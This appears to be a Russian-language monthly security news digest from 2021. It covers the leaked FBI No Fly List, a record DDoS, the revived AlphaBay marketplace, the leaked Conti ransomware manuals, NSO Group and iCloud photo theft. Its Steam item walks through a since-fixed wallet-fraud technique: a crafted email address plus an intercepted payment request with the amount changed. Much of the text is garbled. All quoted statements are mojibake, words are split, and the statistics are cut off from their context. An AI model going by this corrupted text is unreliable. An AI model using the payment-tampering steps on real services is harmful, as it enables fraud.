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В этом месяце: Cloudare отра зила рекор дную DDoS-ата ку,
зак рытый в 2017 году мар кет плейс AlphaBay зарабо тал сно- 
ва, недоволь ный хакер слил обу чающие матери алы хак-груп- 
пы Conti, в кошель ке Steam испра вили опас ный баг, кар деры
опуб ликова ли дан ные мил лиона бан ков ских карт ради рек- 
ламы, а так же мно го дру гих инте рес ных событий.

УТЕЧКА NO FLY LIST
В сеть утек ла копия спис ка Цен тра выяв ления тер рорис тов ФБР (Terrorist
Screening Center, TSC). БД содер жит 1,9 мил лиона записей, в том чис ле сек- 
ретные спис ки No Fly List, то есть перечень лиц, которых нель зя пус кать
на борт самоле тов.

Ба за TSC, управля емая ФБР, была соз дана в 2003 году, пос ле тер рорис- 
тичес ких атак 11 сен тября. Она содер жит име на и лич ные дан ные лиц,
которые «извес тны или обос нован но подоз рева ются в при час тнос ти к тер- 
рорис тичес кой деятель нос ти». Хотя база находит ся в ведении ФБР, агентство
пре дос тавля ет дос туп к ней нес коль ким пра витель ствен ным учрежде ниям
США, вклю чая Государс твен ный депар тамент, Минис терс тво обо роны,
Управле ние тран спортной безопас ности, таможен ную и пог ранич ную служ бу,
а так же меж дународ ные пра воох ранитель ные орга ны.

Хо тя БД содер жит дан ные о подоз рева емых в тер рориз ме, в США она
более извес тна как No Fly List, то есть спи сок, который в основном исполь- 
зует ся влас тями США и меж дународ ными ави аком пани ями, что бы раз решать
или зап рещать въезд в США.

Са мо сущес тво вание базы TSC дер жалось в сек рете более десяти лет,
но в пос ледние годы влас ти начали уве дом лять граж дан США о том, что те
были добав лены в No Fly List.

Те перь ком пания Security Discovery и извес тный ИБ-эксперт Боб Дьячен ко
сооб щают, что в сети была замече на копия этой базы дан ных на IP-адре се
в Бах рей не.

«

»

«Îáíà ðóæåí íûé êëàñ òåð Elasticsearch ñîäåð æàë 1,9 ìèë ëèîíà çàïèñåé.

ß íå çíàþ, êàêóþ ÷àñòü ñïèñ êà TSC îí õðà íèë, íî, ïîõîæå, ðàñ êðûò

áûë âåñü ñïè ñîê. Â ÷óæèõ ðóêàõ ýòîò ñïè ñîê ìîæåò áûòü èñïîëü çîâàí

äëÿ ïðè òåñ íåíèé, ïðåñ ëåäîâà íèé èëè ãîíåíèé íà ëþäåé èç ñïèñ êà

èëè èõ ñåìüè. Ýòî ìîæåò âûç âàòü ìíî æåñ òâî ëè÷ íûõ è ïðî ôåñ- 

ñèîíàëü íûõ ïðîá ëåì äëÿ íåâèí íûõ ëþäåé, ÷üè èìå íà [ïî êàêèì‑òî
ïðè ÷èíàì] áûëè âêëþ ÷åíû â ñïè ñîê», — ïèøåò ñïå öèàëèñò.

Ин форма ция в спис ке вклю чает:
пол ное имя;•
ID в TSC;•
граж данс тво;•
пол;•
да ту рож дения;•
но мер пас порта;•
стра ну выдачи пас порта;•
No Fly ста тус.•

Дь ячен ко уве домил Минис терс тво внут ренней безопас ности об утеч- 
ке 19 июля, ког да база была про индекси рова на поис ковика ми Censys
и ZoomEye (и ког да он сам ее обна ружил). Сер вер был отклю чен при мер но
через три недели, 9 августа 2021 года. Эксперт говорит, что не зна ет, почему
защит ные меры заняли так мно го вре мени, и неиз вес тно, не успе ли ли пос-
торон ние лица доб рать ся до этой базы.

«ПИРАТСКАЯ» РЕКЛАМА
Ана лити ки неком мерчес кой орга низа ции Digital Citizens Alliance и анти пират ской фир мы White
Bullet под счи тали, что пираты зараба тыва ют боль ше  с помощью
рек ламы на сай тах и в при ложе ниях, через которые рас простра няют ся пират ские филь мы,
сери алы, игры и пря мые тран сля ции.

1,34 мил лиар да дол ларов

В ходе иссле дова ния было изу чено  показов рек ламы при мер но на 
популяр ных пират ских сай тах и в  при ложе ниях (в пери од с июня 2020 года
по май 2021 года).

664  мил лиар да 6000
900

Со пос тавляя показы с мат рицей доходов от рек ламы, иссле дова тели опре дели ли, что доходы
от рек ламы при носят вла дель цам сай тов при мер но  дол ларов в год, а при ложе ния
еще более  дол ларов.

1 мил лиард
250 мил лионов

РЕКОРДНЫЙ DDOS
Ком пания Cloudare сооб щила о пре дот вра щении круп ней шей на сегод- 
няшний день DDoS-ата ки, мощ ность которой дос тигала 17,2 мил лиона HTTP-
зап росов в секун ду, что в три раза пре выша ет мощ ность дру гих извес тных
атак. Инци дент про изо шел еще в прош лом месяце и был нацелен на одно го
из кли ентов Cloudare в финан совой сфе ре. По дан ным ком пании, неиз вес- 
тный зло умыш ленник исполь зовал бот нет из 28 тысяч заражен ных устрой ств,
что бы отправ лять HTTP-зап росы в сеть кли ента.

Ос новыва ясь на IP-адре сах заражен ных устрой ств, экспер ты Cloudare
под счи тали, что 15% тра фика исхо дило из Индо незии, а еще 17% — из Индии
и Бра зилии.

Та кие ата ки обыч но называ ют «объ емны ми» (volumetric), и они отли чают ся
от клас сичес ких DDoS-атак тем, что в этом слу чае зло умыш ленни ки сос- 
редота чива ются на отправ ке как мож но боль шего количес тва нежела тель ных
HTTP-зап росов на сер вер жер твы, что бы заг рузить его ЦП и опе ратив ную
память, мешая кли ентам исполь зовать целевые сай ты.

Хо тя ата ка дос тигла пика в 17,2 мил лиона зап росов лишь на нес коль ко
секунд, зло умыш ленник часами зас тавлял свой бот нет ата ковать жер тву.
В ито ге Cloudare приш лось обра ботать более 330 мил лионов нежела тель- 
ных HTTP-зап росов. Таким обра зом, для Cloudare эта ата ка была рав на 68%
легитим ного HTTP-тра фика, в сред нем обра баты ваемо го ком пани ей во вто- 
ром квар тале 2021 года (око ло 25 мил лионов зап росов в секун ду).

Бо лее того, хакер не оста новил ся пос ле пер вого инци ден та: в пос леду ющие
недели тот же бот нет про вел две дру гие мас штаб ные ата ки, в том чис ле
еще одну, мак сималь ная мощ ность которой сос тавила 8 мил лионов зап росов
в секун ду, нап равлен ную на неназ ванно го хос тера.

Cloudare сооб щает, что в нас тоящее вре мя отсле жива ет эво люцию это го
бот нета, который, похоже, пос тро ен на базе модифи циро ван ной вер сии
хорошо извес тно го IoT-вре доно са Mirai.

ДЫРЯВЫЕ СЕТИ ПРЕДПРИЯТИЙ
Спе циалис ты Positive Technologies сооб щили о низ кой защищен ности ком паний про мыш ленно- 
го сек тора. В ходе про веден ных пен тестов экспер ты ком пании получи ли дос туп в тех нологи чес- 
кий сег мент сети  про мыш ленных ком паний. Это поз волило получить дос туп к сис темам
управле ния тех нологи чес ким про цес сом в  слу чаев.

75%
56%

В 2020 году про мыш ленная сфе ра была у хакеров вто рой по популяр ности пос ле государс твен- 
ной: на нее было нап равле но  атак.12%

Ос новные угро зы для про мыш ленных ком паний сегод ня — это  и 
. В 2020 году мотивом боль шинс тва атак (  слу чаев) было получе ние дан ных,

а финан совая выгода инте ресо вала  хакеров.

шпи онаж фи нан совые
потери 84%

36%

В  про мыш ленных орга низа ций внеш ний зло умыш ленник может про ник нуть в кор поратив-
ную сеть. Ока зав шись во внут ренней сети, хакер в  слу чаев может получить учет ные дан- 
ные поль зовате лей и пол ный кон троль над инфраструк турой, а в  — украсть кон фиден-
циаль ные дан ные.

91%
100%

69%

ВОЗРОЖДЕННЫЙ
ALPHABAY
Один из круп ней ших мар кет плей сов дар кне та — AlphaBay был акти вен
с 2014 года, а в 2017 году его  пра воох ранитель ные орга ны,
наряду с дру гим круп ным мар кет плей сом — Hansa Market. Тог да зак рытие
AlphaBay и Hansa Market ста ло резуль татом круп ной меж дународ ной опе- 
рации, в которой при нима ли учас тие США, Канада, Таиланд, Гол ландия,
Великоб ритания, Фран ция, Лит ва, а так же пред ста вите ли Евро пола, ФБР
и Управле ния по борь бе с нар котика ми.

лик видиро вали

По дан ным ФБР, AlphaBay был в десять раз боль ше печаль но извес тно го
Silk Road. Тор говой пло щад кой поль зовались 200 тысяч поль зовате лей
и 40 тысяч про дав цов. При этом на AlphaBay нас читыва лось более 250 тысяч
объ явле ний о про даже нар котиков, более 100 тысяч объ явле ний о про даже
укра ден ных или под дель ных иден тифика цион ных докумен тов и устрой ств дос- 
тупа, кон тра фак тных товаров, мал вари и дру гих хакер ских инс тру мен тов
и услуг.

Не задол го до лик видации AlphaBay в Таилан де был арес тован 25-лет ний
граж данин Канады Алек сандр Каз (Alexandre Cazes), которо го счи тали одним
из руково дите лей ресур са, извес тным под ником Alpha02. Вско ре пос ле его
арес та, 12 июля 2017 года, Каз  в тай ской тюрь ме.по кон чил с собой

Од нако еще один адми нис тра тор ресур са, отве чав ший за безопас ность
и извес тный под ником DeSnake, не попал в руки пра воох раните лей и оста- 
вал ся на сво боде все про шед шие годы.

Как теперь сооб щило изда ние Bleeping Computer, DeSnake неожи дан но объ- 
явил на форуме, что AlphaBay вновь открыл ся и готов к работе. Что бы под- 
твер дить свою лич ность, к сооб щению DeSnake при ложил ори гиналь ный пуб- 
личный ключ PGP, который исполь зовал во вре мена рас цве та мар кет плей са.
При чем один из поль зовате лей форума под твер дил под линность клю ча
DeSnake и тот факт, что он был частью коман ды AlphaBay. Дру гой поль- 
зователь тоже под твер дил лич ность адми нис тра тора, пооб щавшись с ним
о «вещах, которые мог знать толь ко сот рудник AlphaBay».

В длин ном заяв лении DeSnake объ ясня ет, что хотел бы уста новить новые
стан дарты и пос тро ить «про фес сиональ но управля емый, ано ним ный,
безопас ный мар кет плейс». Он пишет, что хочет соз дать авто ном ную и ано- 
ним ную децен тра лизо ван ную сеть тор говых пло щадок, где собс твен ный мар- 
кет плейс смо жет открыть каж дый. Судя по опи санию, это будет похоже
на Amazon для дар кне та, где про дав цы и покупа тели смо гут переме щать ся
из одно го магази на в дру гой, исполь зуя одну учет ную запись и не доверяя
никому из них свою крип товалю ту.

DeSnake уве ряет, что новый AlphaBay рас счи тан на дли тель ный срок служ- 
бы, исполь зует безопас ный и про верен ный код, пуленеп робива емые сер- 
веры и средс тва защиты от сбо ев, которые могут быть выз ваны как отка зом
обо рудо вания, так и полицей ски ми рей дами.

Так же он рек ламиру ет авто мати зиро ван ную сис тему AlphaGuard, которая
«гаран тиру ет, что поль зовате ли/про дав цы смо гут получить дос туп к средс- 
твам в сво ем кошель ке (вклю чая эскроу) в любое вре мя через I2P/Tor»,
и авто мати чес кую сис тему решения спо ров, цель которой — раз решать
проб лемы меж ду покупа теля ми и про дав цами без вме шатель ства модера- 
торов.

DeSnake изло жил крат кий набор пра вил для обновлен ного AlphaBay,
которые дол жны помочь избе жать ненуж ного вни мания со сто роны пра воох- 
ранитель ных орга нов:

зап рещено при чинять вред дру гим людям (поиск наем ных убийц и так
далее);

•

зап рещено обсуждать ору жие (даже в целях само обо роны);•
ни какой эро тики/пор но в любом виде (логины для основных сай тов раз- 
решены);

•

ни како го фен танила или веществ с при месью фен танила или на его осно- 
ве;

•

ни каких вак цин про тив COVID-19;•
нет док сингу и угро зам док синга;•
зап рещена какая-либо деятель ность, свя зан ная с Рос сией, Беларусью,
Казах ста ном, Арме нией, Кыр гыз ста ном (людь ми, орга низа циями, пра- 
витель ства ми), а так же дан ными граж дан этих стран;

•

зап рещено про давать прог раммы-вымога тели, искать бро керов дос тупа
для раз верты вания прог рамм-вымога телей или обсуждать прог- 
раммы-вымога тели.

•

Жур налис ты отме чают, что теперь AlphaBay исполь зует толь ко крип товалю ту
Monero и в нас тоящее вре мя на про дажу выс тавле ны толь ко два товара,
в обо их слу чаях это нар котики. Ста тис тика форума показы вает, что пока
на обновлен ном AlphaBay нас читыва ется 19 учас тни ков, которые обме- 
нялись 72 сооб щени ями.

МЭТТЬЮ ГРИН О НОВОЙ ИНИЦИАТИВЕ APPLE
Из вес тный крип тограф и про фес сор уни вер ситета Джон са Хоп кинса Мэттью Грин (Matthew
Green) выс казал ся о новой тех нологии ком пании Apple, которая ско ро нач нет искать сре ди
поль зователь ских изоб ражений приз наки сек суаль ного насилия над деть ми.

В час тнос ти, Apple будет про верять все сооб щения Messages, получен ные и отправ ленные
деть ми, в поис ках наготы. Так же будут ска ниро вать ся изоб ражения в iCloud Photos, и, обна- 
ружив там про тивоп равный кон тент, Apple смо жет «пре дос тавлять пра воох ранитель ным орга- 
нам цен ную и полез ную информа цию о рас простра нении извес тных CSAM (child sexual abuse
materials — англ. матери алы, содер жащие приз наки сек суаль ного насилия над деть ми)».

→ «Это неверо ятно мощ ная демонс тра ция тех нологии, показы вающая, что
даже защищен ные сквоз ным шиф ровани ем фотог рафии мож но под вергать
слож ному ска ниро ванию. Само ска ниро вание без вред но, и при обна руже нии
[откро вен ных] изоб ражений будет уве дом лен толь ко родитель пос тра дав шего.
Но это демонс три рует, что Apple готова соз дать и раз вернуть такую тех нологию.
Я наде юсь, что их никог да не поп росят исполь зовать ее для дру гих целей»

— Мэттью Грин

Продолжение статьи →
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БЛОКИРОВКА
127.0.0.1
Из дание TorrentFreak обна ружи ло, что фир ма Vindex, пред став ляющая инте- 
ресы ТРК «Укра ина», нап равила Google стран ный зап рос на уда ление кон- 
тента из поис ковой выдачи. Один из адре сов, наруша ющих пра ва ТРК «Укра- 
ина», ука зывал на 127.0.0.1, то есть анти пира ты наш ли зап рещен ный кон тент
в собс твен ных сис темах.

Жур налис ты отме чают, что в рам ках DMCA (Закон об автор ском пра ве
в циф ровую эпо ху) Google каж дую неделю обра баты вает зап росы на уда- 
ление при мер но пяти мил лионов URL-адре сов, а в общей слож ности поис- 
ковый гигант уда лил уже более пяти мил лиар дов ссы лок. Но в попыт ках
бороть ся с пиратс твом ком пании неред ко оши бают ся и «стре ляют себе
в ногу». К при меру, недав но сер вис Toomics про сил Google уда лить из выдачи
опас ные URL-адре са сво его собс твен ного сай та.

По хожая ситу ация про изош ла и с зап росом укра инской анти пират ской
ком пании Vindex. Ссыл ка, наруша ющая автор ские пра ва ТРК «Укра ина»
на тран сля цию фут боль ных мат чей, ука зыва ла
на 127.0.0.1:6878/ace/manifest.m3u. То есть файл пират ско го плей-лис та был
най ден на собс твен ном компь юте ре Vindex. Этот файл может быть плей-лис- 
том для P2P-плат формы Ace Stream, которая час то исполь зует ся для пират- 
ско го кон тента.

TorrentFreak пишет, что Vindex сто ит нор маль но нас тро ить сво их ботов. Дело
в том, что ком пания и ранее не име ла безуп речной репута ции: из всех ссы- 
лок, уда ления которых Vindex тре бова ла от Google, было уда лено нем ногим
боль ше 10%. В этот раз Google, разуме ется, тоже не ста ла пред при нимать
никаких дей ствий.

КОНФИДЕНЦИАЛЬНОСТЬ В СОЦСЕТЯХ
Ис сле дова тели «Лабора тории Кас пер ско го» про ана лизи рова ли зап росы рус ско языч ных поль- 
зовате лей по нас трой кам при ват ности в раз личных сер висах. Выяс нилось, что чаще все го люди
стре мят ся узнать, как сде лать мак сималь но кон фиден циаль ной стра ницу в соци аль ной сети
«ВКон такте» ( ).25%

Ана логич ные зап росы касались и дру гих соци аль ных сетей: Instagram ( ), Facebook ( ),
TikTok и Twitter (по ). Кро ме того, в чис ле самых популяр ных обра щений были нас трой ки
при ват ности в WhatsApp ( ) и Google ( ).

12% 7%
4%

12% 11%

Так же поль зовате лей инте ресу ет, как нас тро ить режим кон фиден циаль нос ти непос редс твен но
в опе раци онных сис темах:  выяс няли, как дей ство вать, что бы защитить лич ные дан ные
в Windows, а  — в мобиль ных опе раци онных сис темах, iOS и Android. Зна читель ная доля
зап росов ( ) была свя зана с нас трой ками при ват ности тех или иных сер висов на Android-
устрой ствах.

13%
7%

39%

СЛИВ МАНУАЛОВ
CONTI
Не доволь ный учас тник «пар тнерской прог раммы» вымога теля Conti слил
в сеть руководс тва и тех ничес кие ману алы, исполь зуемые хакера ми для обу- 
чения сво их «пар тне ров». Докумен ты рас ска зыва ют, как получить дос туп
к чужой сети, выпол нить боковое переме щение, рас ширить дос туп, а затем
похитить дан ные перед шиф ровани ем.

До кумен тация была опуб ликова на на хакер ском форуме XSS. У авто ра
сли ва воз ник финан совый кон фликт с авто рами Conti, и таким обра зом он
решил отом стить.

Де ло в том, что Conti работа ет по схе ме ransomware as a service (RaaS). То
есть раз работ чики мал вари занима ются непос редс твен но вре доно сом и пла- 
теж ными сай тами, а их наем ные «пар тне ры» взла мыва ют сети жертв и шиф- 
руют устрой ства. В ито ге вып латы выкупов рас пре деля ются меж ду самой
хак-груп пой и ее «пар тне рами», при чем пос ледние обыч но получа ют 70–80%
от общей сум мы.

Оби жен ный «пар тнер» хак-груп пы заявил, что за ата ку ему зап латили толь- 
ко 1500 дол ларов, хотя осталь ная часть коман ды зараба тыва ет мил лионы
и обе щает дру гим боль шие вып латы. В ито ге, помимо ману алов, на форуме
были опуб ликова ны скрин шоты, на которых вид ны IP-адре са, где Conti раз- 
меща ет управля ющие сер веры Cobalt Strike.

Так же был обна родо ван RAR-архив под наз вани ем «Ману али для работяг
и софт.rar», содер жащий 37 тек сто вых фай лов с инс трук циями по исполь- 
зованию раз личных инс тру мен тов для взло ма и легаль ного ПО.

ИБ-эксперт Виталий Кре мез из Advanced Intel про ана лизи ровал архив
и сооб щил, что эти матери алы впол не соот ветс тву ют сце нари ям атак Conti.

«

»

«Ïî áîëü øîìó ñ÷å òó, ýòî ñâÿ ùåí íûé Ãðà àëü ïåí òåñòåð ñêèõ îïå ðàöèé,

êîòîðûå âûïîë íÿþò „ïåí òåñòå ðû“ Conti, âñå îïè ñàíî îò À äî ß. Ïîñ- 

ëåäñ òâèÿ [ýòîé óòå÷ êè] îãðîìíû, ýòî ïîç âîëèò íîâûì ïåí òåñòå- 

ðàì‑âûìîãà òåëÿì ïîâûñèòü ñâîè íàâûêè, øàã çà øàãîì. 

Òàê æå óòå÷ êà äåìîíñ òðè ðóåò çðå ëîñòü ýòîé ãðóï ïèðîâ êè, çàíèìà þùåé- 

ñÿ âûìîãà òåëü ñòâîì, è ïîêàçû âàåò, íàñ êîëü êî îíè èçîù ðåííû, äîòîø- 

íû è îïûò íû ïðè àòà êàõ íà êîð ïîðàöèè ïî âñå ìó ìèðó», — ãîâîðèò

Êðå ìåç.

СТАТИСТИКА DDOS-АТАК
Ана лити ки Qrator Labs под вели ито ги вто рого квар тала 2021 года, опуб ликовав ста тис тику
DDoS-атак. Сооб щает ся, что за это вре мя круп ней ший бот нет вырос поч ти в два раза,
а основным век тором атак по-преж нему оста ется UDP-, IP- и SYN-флуд.

Во вто ром квар тале 2021 года был зафик сирован серь езный рост UDP ood атак, на долю
которых приш лось боль ше полови ны нападе ний ( ).53,04%

Рост это го сег мента обус ловлен уве личе нием доли атак полосой  — класс
высокос корос тных атак, для орга низа ции которых час то исполь зует ся тех ника ампли фика ции
через пуб личные UDP-сер висы.

10–100  Гбит/с

Бо лее слож ные ата ки, такие как SYN ood, так же не сда ют сво их позиций: их доля во вто ром
квар тале сос тавила .11,9%

Три основных «чис тых» век тора атак — это UDP-, IP- и SYN-флуд, на которые приш лось 
всех DDoS-атак вто рого квар тала.

78%

Ме диан ное вре мя ата ки сос тавило , что близ ко к наб людени ям за 2020 год, ког да этот
показа тель рав нялся . По срав нению с пер вым квар талом 2021 года меди анное вре мя
ата ки вырос ло зна читель но — со .

270 с
300 с

180 с

Сред няя про пус кная спо соб ность всех DDoS-атак вто рого квар тала сос тавила .
В пер вом квар тале эта циф ра была чуть выше — , тог да как в чет вертом квар- 
тале 2020 года дан ный показа тель сос тавил лишь .

6,5  Гбит/с
9,15  Гбит/с

4,47 Гбит/с

Во вто ром квар тале 2021 года самый круп ный бот нет содер жал .137 696 ботов

БАГ В КОШЕЛЬКЕ
STEAM
Ком пания Valve испра вила уяз вимость в Steam, бла года ря которой баланс
кошель ка мож но было попол нять про изволь ными сум мами.

Об этой проб леме про изво дите ля уве домил поль зователь drbrix, сооб- 
щивший об уяз вимос ти в начале августа через плат форму HackerOne. В нас- 
тоящее вре мя баг уже исправ лен, а иссле дова тель получил 7500 дол ларов
за свои тру ды.

В отче те drbrix рас ска зал, что для мошен ничес кого попол нения балан са
нуж но было изме нить email-адрес на любой, содер жащий стро ку amount100
(сам иссле дова тель исполь зовал ящик brixamount100abc@xxx). Затем тре- 
бова лось прой ти по ссыл ке 

, перей ти к вне сению средств, выб рав спо соб опла- 
ты с исполь зовани ем Smart2Pay, и про дол жать далее, как при обыч ном вне- 
сении средств, выб рав, к при меру, 1 дол лар. Пос ле тре бова лось перех ватить
POST-зап рос к  и изме нить сум му
на про изволь ную, что ста нови лось воз можно из-за име ни поч тового ящи ка.

https://store.steampowered.com/
steamaccount/addfunds

https://globalapi.smart2pay.com/

«

»

«Ïî‑ìîåìó, ïîñ ëåäñ òâèÿ î÷å âèä íû: çëî óìûø ëåííèê ñìî æåò ãåíåðè- 

ðîâàòü äåíü ãè è ñëî ìàòü ðûíîê Steam, ïðî äàâàÿ èãðî âûå êëþ ÷è

ïî äåøåâ êå è òàê äàëåå», — ðåçþìè ðîâàë drbrix.

Вско ре сот рудни ки Valve под твер дили работос пособ ность пред став ленно го
иссле дова телем экс пло ита и отчи тались об устра нении проб лемы. В нас- 
тоящее вре мя неиз вес тно, знал ли об этом баге кто-то, помимо drbrix, и не
успе ли ли зло умыш ленни ки вос поль зовать ся дан ной проб лемой до того,
как она была устра нена.

СКАНДАЛ ВОКРУГ NSO GROUP

В середи не июня 2021 года пра воза щит ная орга низа ция Amnesty International, неком мерчес кий
про ект Forbidden Stories, а так же более 80 жур налис тов кон сорци ума из 17 меди аор ганиза ций
в десяти стра нах мира опуб ликова ли резуль таты сов мес тно го рас сле дова ния, которо му дали
наз вание про ект «Пегас». Это пос лужило поводом для нового скан дала вок руг NSO Group.

Так как о сущес тво вании Pegasus и деятель нос ти NSO Group извес тно дав но, мно гие
задава лись воп росом: почему скан дал раз разил ся толь ко теперь? Ведь ничего прин ципи аль но
нового в док ладе не содер жалось, и вряд ли кого-то в ИБ-сооб щес тве уди вило сущес тво вание
спай вари.

Хо роший ответ на этот воп рос дал у себя в Twitter извес тный ИБ-эксперт, нес коль ко лет
назад оста новив ший шиф роваль щик Wannacry, Мар кус Хат чинс (MalwareTech).

→ «До сегод няшне го дня я не понимал, что нового в этой исто рии, но теперь я
осоз нал, что, веро ятно, рань ше обо всем этом не было извес тно за пре дела ми
ИБ-сооб щес тва. Итак, TL;DR: сущес тву ют ком пании, у которых есть нулевые дни
и шпи онское ПО, спо соб ные уда лен но взла мывать телефо ны. Обыч но все
это про дает ся пра витель ствам, которые затем исполь зуют [эти инс тру мен ты]
для атак на „тер рорис тов“ (во мно гих слу чаях это прос то озна чает любого, кого
влас ти счи тают угро зой).

Рас плыв чатое опре деле ние тер мина „тер рорист“ варь иру ется от государс тва
к государс тву, и мно гие (осо бен но авто ритар ные государс тва) счи тают акти вис- 
тов и жур налис тов угро зами. Реаль ность такова, что „оста новить тер рорис тов“
лег ко прев раща ется в „шпи онить за все ми, кто нам не нра вит ся“, и имен но
об этом повес тву ет дан ная утеч ка»

— Мар кус Хат чинс в сво ем Twitter

УДАЛЕННАЯ
БЛОКИРОВКА
ОТ SAMSUNG
Ком пания Samsung заяви ла, что может уда лен но отклю чить любой из сво их
телеви зоров с помощью фун кции TV Block, которая встро ена в про дук ты, про- 
дава емые по все му миру. Поводом для это го заяв ления пос лужили июль ские
бес поряд ки в Южной Афри ке, которые при вели к круп номас штаб ным гра- 
бежам, зат ронув шим в том чис ле скла ды и магази ны Samsung.

«

»

«TV Block — ýòî óäà ëåí íîå çàùèò íîå ðåøåíèå, êîòîðîå îïðå äåëÿ åò,

áûëè ëè òåëåâè çîðû Samsung àêòè âèðî âàíû íåíàä ëåæàùèì îáðà çîì,

è ãàðàí òèðó åò, ÷òî òåëåâè çîðû ìîãóò èñïîëü çîâàòü ñÿ òîëü êî çàêîí- 

íûìè âëà äåëü öàìè, ó êîòîðûõ åñòü äîêàçà òåëü ñòâî ñîâåð øåíèÿ ïîêóï- 

êè.

Öåëü äàí íîé òåõ íîëîãèè — ïðî òèâî äåé ñòâèå ñîç äàíèþ âòî ðè÷ íûõ

ðûí êîâ, ñâÿ çàí íûõ ñ ïðî äàæåé íåëåãàëü íûõ òîâàðîâ, êàê â Þæíîé

Àôðè êå, òàê è çà åå ïðå äåëà ìè. Ýòà òåõ íîëîãèÿ ïðå äóñ òàíîâ ëåíà

íà âñå òåëåâè çèîí íûå ïðî äóê òû Samsung», — ãëà ñèò îôè öèàëü íîå

çàÿâ ëåíèå.

СМИ сооб щили, что фун кция TV Block была уда лен но акти виро вана на всех
телеви зорах, укра ден ных со скла дов или из магази нов: их серий ные номера
добави ли в спе циаль ный спи сок на сер верах Samsung. Пос ле того как укра- 
ден ный телеви зор будет под клю чен к интерне ту, устрой ство про верит спи сок
укра ден ных устрой ств и авто мати чес ки отклю чит все телеви зион ные фун кции,
если обна ружит сов падение.

«

»

«Ýòà òåõ íîëîãèÿ ìîæåò áûòü ïîëåç íà â íàñ òîÿùåå âðå ìÿ, à òàê æå

áóäåò ïîëåç íà êàê äëÿ îòðàñëè, òàê è äëÿ íàøèõ êëè åíòîâ

â áóäóùåì», — çàÿâ ëÿþò â êîì ïàíèè.

И хотя сей час TV Block дей стви тель но был полезен ком пании, фун кци ональ- 
ность вызыва ет некото рые опа сения. К при меру, мож но пред ста вить, что про- 
изой дет, если зло умыш ленни ки взло мают сер веры ком пании и получат дос- 
туп к спис ку для бло киров ки, исполь зуемо му для уда лен ного отклю чения
телеви зоров.

УВОЛЕННЫЕ ИЗ GOOGLE
В рас поряже нии изда ния СМИ ока зались внут ренние докумен ты Google, рас ска зыва ющие
о рас сле дова ниях слу чаев, ког да сот рудни ки ком пании исполь зовали свои позиции для кра жи,
сли вов или зло упот ребле ний дан ными, к которым име ли дос туп.

Сог ласно этим бумагам, в пери од с 2018 по 2020 год ком пания уво лила 
 за зло упот ребле ние дос тупом к внут ренним инс тру мен там и дан ным (вклю чая информа- 

цию о поль зовате лях и сот рудни ках).

де сят ки сот рудни- 
ков

К при меру, в 2020 году Google уво лила  сот рудни ков из-за проб лем, свя зан ных с безопас- 
ностью.  таких обви нений касались зло упот ребле ния кон фиден циаль ной информа цией,
нап ример переда ча внут ренних дан ных Google треть им сто ронам.

36
86%

Еще  обви нений в 2020 году зат рагива ли неп равомер ное исполь зование раз личных сис- 
тем, вклю чая дос туп к дан ным поль зовате лей или сот рудни ков, помощь дру гим лицам в получе- 
нии дос тупа к этим дан ным, а так же изме нение или уда ление дан ных поль зовате лей или сот- 
рудни ков.

10%

Продолжение статьи →
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ВОРОВАННЫЕ
НЮДСЫ
40-лет ний житель Лос-Андже леса Хао Ко Чи (Hao Kuo Chi) приз нал себя
винов ным в хищении более 620 тысяч лич ных фото и 9 тысяч видео из чужих
акка унтов iCloud.

Про кура тура Фло риды, которая выд винула про тив него обви нения
в загово ре и компь ютер ном мошен ничес тве, сооб щила, что в сети Чи был
известен под ником icloudripper4you и про давал свои «услу ги» по взло му
iCloud. «Кли енты» ука зыва ли ему на кон крет ную учет ную запись iCloud,
которую нуж но взло мать, пос ле чего Чи и его неопоз нанные сооб щни ки
выдава ли себя за пред ста вите лей служ бы под дер жки Apple в сооб щени ях,
которые при сыла ли целям по элек трон ной поч те. Обма ном выведав учет ные
дан ные от iCloud жертв, мошен ники похища ли фото и видео из их акка унтов.

Груп па была активна с сен тября 2014 года до мая 2018 года, и все
это вре мя зло умыш ленни ки исполь зовали Apple ID и пароли жертв не толь ко
для выпол нения заказов на взлом, но и для поис ка в этих учет ных записях
фотог рафий и видео обна жен ных людей. Най ден ными откро вен ными фото
и видео Чи и его сооб щни ки делились друг с дру гом через «инос тран ную
служ бу сквоз ного шиф рования элек трон ной поч ты для сох ранения ано ним- 
ности».

В этом месяце Чи приз нал себя винов ным и под твер дил, что получил
несан кци они рован ный дос туп по край ней мере к 306 учет ным записям iCloud
(в основном акка унты при над лежали молодым жен щинам) в Ари зоне,
Калифор нии, Кен тукки, Кон некти куте, Луизиане, Мас сачусет се, Мэне, Огайо,
Пен силь вании, Техасе, Фло риде и Южной Кароли не.

По дан ным изда ния Los Angeles Times, аген ты ФБР наш ли более 500 тысяч
мошен ничес ких писем в двух учет ных записях Gmail (backupagenticloud
и applebackupicloud), которые исполь зовались для этой схе мы, а так же учет- 
ные дан ные при мер но для 4700 акка унтов iCloud. В акка унте Чи в Dropbox,
который исполь зовал ся для хра нения укра ден ных фай лов и обме на ими,
обна ружи ли око ло 620 тысяч фотог рафий и 9 тысяч видео общим объ емом
более 1 Тбайт.

По пал ся Чи весь ма прос то. Еще в 2018 году неназ ванный общес твен ный
деятель из Там пы обна ружил свои обна жен ные фотог рафии на пор носай тах.
Фото наш ла калифор ний ская ком пания, которая спе циали зиру ется на уда- 
лении фотог рафий зна мени тос тей из интерне та. Так как эти фото хра нились
толь ко на iPhone (отку да были ско пиро ваны в iCloud), жер тва обра тилась
в пра воох ранитель ные орга ны, стре мясь най ти источник утеч ки.

Пра воох раните ли быс тро выяс нили, что Чи выходил в iCloud жер твы пря мо
из сво его дома в Ла-Пуэн те, в Калифор нии. К тому вре мени, ког да ФБР
получи ло ордер и про вело обыск в его доме, пра воох раните ли уже име ли
чет кое пред став ление о деятель нос ти Чи бла года ря дан ным, которые по зап- 
росу суда пре дос тавили Dropbox, Google, Apple, Facebook и Charter
Communications.

САМЫЕ АТАКУЕМЫЕ БАГИ
Эк спер ты ФБР, Агентства по кибер безопас ности и защите инфраструк туры, орга низо ван ного
при Минис терс тве внут ренней безопас ности США (DHS CISA), Авс тра лий ско го цен тра кибер- 
безопас ности (ACSC), а так же Наци ональ ного цен тра кибер безопас ности Великоб ритании
(NCSC) выпус тили сов мес тную рекомен дацию по безопас ности, в которой перечис лили уяз- 
вимос ти, наибо лее «популяр ные» у прес тупни ков в 2020 и 2021 году.

На осно ве дан ных, соб ранных пра витель ством США, боль шая часть самых ата куемых уяз вимос- 
тей была обна руже на пос ле , а мно гие баги явно свя заны с пов семес тным
перехо дом на уда лен ную работу.

на чала 2020 года

